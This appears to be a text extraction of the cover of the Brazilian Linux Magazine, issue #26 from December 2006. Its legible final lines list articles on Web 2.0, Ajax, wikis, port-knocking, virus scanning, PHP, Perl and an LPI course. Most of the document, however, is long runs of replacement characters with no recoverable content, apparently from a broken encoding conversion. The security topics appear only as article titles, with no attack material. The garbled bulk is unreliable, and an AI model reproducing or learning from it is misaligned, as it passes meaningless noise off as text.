�������������������������������
������������� � ������������������������ � ����������������������������� � ����� � ������ � ����� � �������� � �����
�����������
�������������
����
������������������������������������ ������������������������������������ �������������������������������������� ������������������������������������� ������������������������������� ��������������������������������������� ��������������� ���� ������������������������������� ����������������������� ���� ������������������������ �������������� ����
��������� ������������������������ ����������������������������������
��������������������� ��������������������������������� �����������������������������������
������������������������� ����������������������������������� ���� ������������������������������������ ���� ���������������������������� ���� ��������������������������������� ���� ��������������������������� ���� ������������������������
��������������������
�����������������
���������������
������������������������������
����� ��������������������������������� �������������������
���������������������������
������������������
��������������������������������������������������� ���� �������������������������������
��������������
����� ��� ����������������������� ����������������������� �����������������������������
� �� ������ �� � �������� ���������
��� ������ �� � ������ �� � ��������
�������������
����������
�����������������������
������������������������
���������������������������
���������������������������������
�������������������
��������������������� ���������������������
��������������������������
��������������������������� ������������������������������
����������������������������������
��������������������
���������������������������������
������������������������
����������
������������������������ ����������������������������������
����������������
����� �������������������������������
����� ������������������������������� ���������������
���
����������
��
������������
�����
����������������
�������
����������������������������������������
���
������������������������������������������������������������������
����������������
�������������������������
���������������������
�������
����������
�
�����������
��������������������������������������������������� �������������������������������������������������������� ������������������������������������������������� �����������������������������������������������������
�
� ������ � � ������ � ������� € �����
� � �� � � � � � � � � � � � � � � � � � � � � � � �
� �� ���� �� �� � �������� � ��������
���
�������������
��������������������
�������������������������
�����������������������
�����������������������������������
������������������� ���������������
������������������������ ���������������������������
��������� ��� ������ �� ��������� ���������
����������������������
����
���������������������
����������������������������������
����������������
�����������������
����������������������������������������� ���������������������������
������������
��������������
� ����� � ����� ���� � ����� � ����� � �����
������������������������������������������������������ �������������������������������������������������������������
��
���� ����� �����
� ��
�������� ���������������� ���������
���������������������� ������������������������� ��������������������� �������������������������������
�����
�����
��������� ������� �� ���������
������������������
����������������������
������������������������ ���� ����������������������������� ������������������������
�
������������������
�������������������������� ������������������������ ����������������������
�����
�����������������������
���������������������������������
���
�������������������������
������� € �����
����������������
���������������������
������������������
�
� ������ � � ������ �
��������������������������
���������������������� ���������������������������� ���������������������������
��������������������������������
�����������
���������������
����� ����������������������������������� ��������������������������� ���������������������������������
��� ������ �� ������� �� ���������
����������������������
������������������������
���
������������������������������������
���������������������
�������������������������
���������������
�������������������������������
����������������������������
����������������������
�������������
���������������������������
�����
�����
� � �� � � � � � � � � � � � � � � � � � � � � � � �
��������� ������� �� ���������
� � �� � � � � � � � � � � � � � � � � � � � � � �
€ �����
� � �� � � � � � � � � � � � � � � � � � � � � � � �
���������
� � �� � � � � � � � � � � � � � � � � � � � � � � �
������� ���������������� ���������
������������������������
������������������ ������������������������ ���������������������������������� ��������������������������������
� � �� � � � � � � � � � � � � � � � � � � � � � � �
� � �� � � � �� � � ��� � ���� � � � � � � � �
������������������������������������������������������������������� ��������������������������������
http://supertuxbr.blogspot.com
12/2006
CEAGESP & LINUX p.26 Uma união frutífera em prol da economia
CEZAR TAURION p.30 O código aberto é mais seguro, apesar dos mitos
CURSO LPI p.55 Primeiro fascículo do curso LPI-1
00026 exemplar de
A REVISTA DO PROFISSIONAL DE TI
WEB 2.0
WEB 2.0
p.31
CONHEÇA A NOVA WEB, MAIS INTERATIVA, E VEJA COMO DESENVOLVER SEUS PRÓPRIOS APLICATIVOS WEB SOBRE ESSES PRINCÍPIOS
AJAX
» Ajax: A tecnologia da nova Web p.34 WIKI
» Wikis na sua empresa: documentação eficiente p.38
APTANA
» IDE dedicada ao Ajax com o Aptana p.42
FISH PORT–KNOCKING
PORT-KNOCKING p.48
SMART
Segurança extrema nas portas do servidor
SEGURANÇA p.66
LPI-1
Seguindo os passos de uma invasão
SAMBA PERL PHP
http://supertuxbr.blogspot.com
VEJA TAMBÉM NESTA EDIÇÃO: » Gerenciamento de pacotes inteligente com o Smart p.52 » Eliminando vírus ao acessar arquivos p.62 » XML fácil com PHP p.75 » Proteja seu fórum contra o spam usando Perl p.70
WWW.LINUXMAGAZINE.COM.BR
ven d a p ro i b i d a 9 771806 942009
# 26
Assinante
R$ 13,90 € 7,50
# 26
Linux Magazine
Dezembro 2006
#26 12/06